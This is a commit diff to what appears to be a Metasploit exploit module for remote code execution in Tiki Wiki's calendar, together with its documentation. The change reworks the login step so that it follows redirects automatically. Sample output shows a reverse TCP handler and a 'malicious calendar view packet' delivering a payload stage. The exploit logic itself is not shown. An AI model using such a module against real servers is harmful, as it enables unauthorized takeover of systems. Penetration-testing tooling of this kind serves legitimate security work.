follow redirect automatically

Author: h00die

documentation/modules/exploit/linux/http/tiki_calendar_exec.md

@@ -35,7 +35,6 @@
   8. Do: `check`
 ```
   [*] Attempting Login
-  [*] Verifying login... Visiting redirect to: http://10.10.10.10/t14_1/tiki-wizard_admin.php?&stepNr=0&url=http%3A%2F%2F192.168.2.190%2Ft14_1%2Ftiki-index.php
   [+] Login Successful!
   [+] 10.10.10.10:80 The target is vulnerable.
 ```
@@ -44,7 +43,6 @@
 ```
   [*] Started reverse TCP handler on 10.10.10.10:4444 
   [*] Attempting Login
-  [*] Verifying login... Visiting redirect to: http://10.10.10.10/t14_1/tiki-wizard_admin.php?&stepNr=0&url=http%3A%2F%2F192.168.2.190%2Ft14_1%2Ftiki-index.php
   [+] Login Successful!
   [*] Sending malicious calendar view packet
   [*] Sending stage (33721 bytes) 10.10.10.10.190

modules/exploits/linux/http/tiki_calendar_exec.rb

@@ -67,7 +67,8 @@ def authenticate
       cookie = res ? res.get_cookies : ''
       # if we have creds, login with them
       vprint_status('Attempting Login')
-      res = send_request_cgi(
+      # the bang on the cgi will follow the redirect we receive on a good login
+      res = send_request_cgi!(
         'uri'       => normalize_uri(target_uri.path, 'tiki-login.php'),
         'method'    => 'POST',
         'ctype'     => 'application/x-www-form-urlencoded',
@@ -81,21 +82,11 @@ def authenticate
             'stay_in_ssl_mode'         => 'n'
           }
       )
-      if res && res.redirect? && res.redirection.to_s.end_with?('tiki-login_scr.php')
+      # double check auth worked and we got a Log out on the page.
+      # at times I got it to auth, but then it would give permission errors
+      # so we want to try to double check everything is good
+      unless res.body =~ /Log out/
         fail_with(Failure::UnexpectedReply, "#{peer} Login Failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
-      elsif res && res.redirect?
-        vprint_status("Verifying login... Visiting redirect to: #{res.redirection}")
-        res = send_request_cgi(
-          'uri'       => res.redirection.to_s,
-          'method'    => 'GET',
-          'cookie'    => cookie
-        )
-        # double check auth worked and we got a Log out on the page.
-        # at times I got it to auth, but then it would give permission errors
-        # so we want to try to double check everything is good
-        unless res.body =~ /Log out/
-          fail_with(Failure::UnexpectedReply, "#{peer} Login Failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
-        end
       end
       vprint_good("Login Successful!")
       return cookie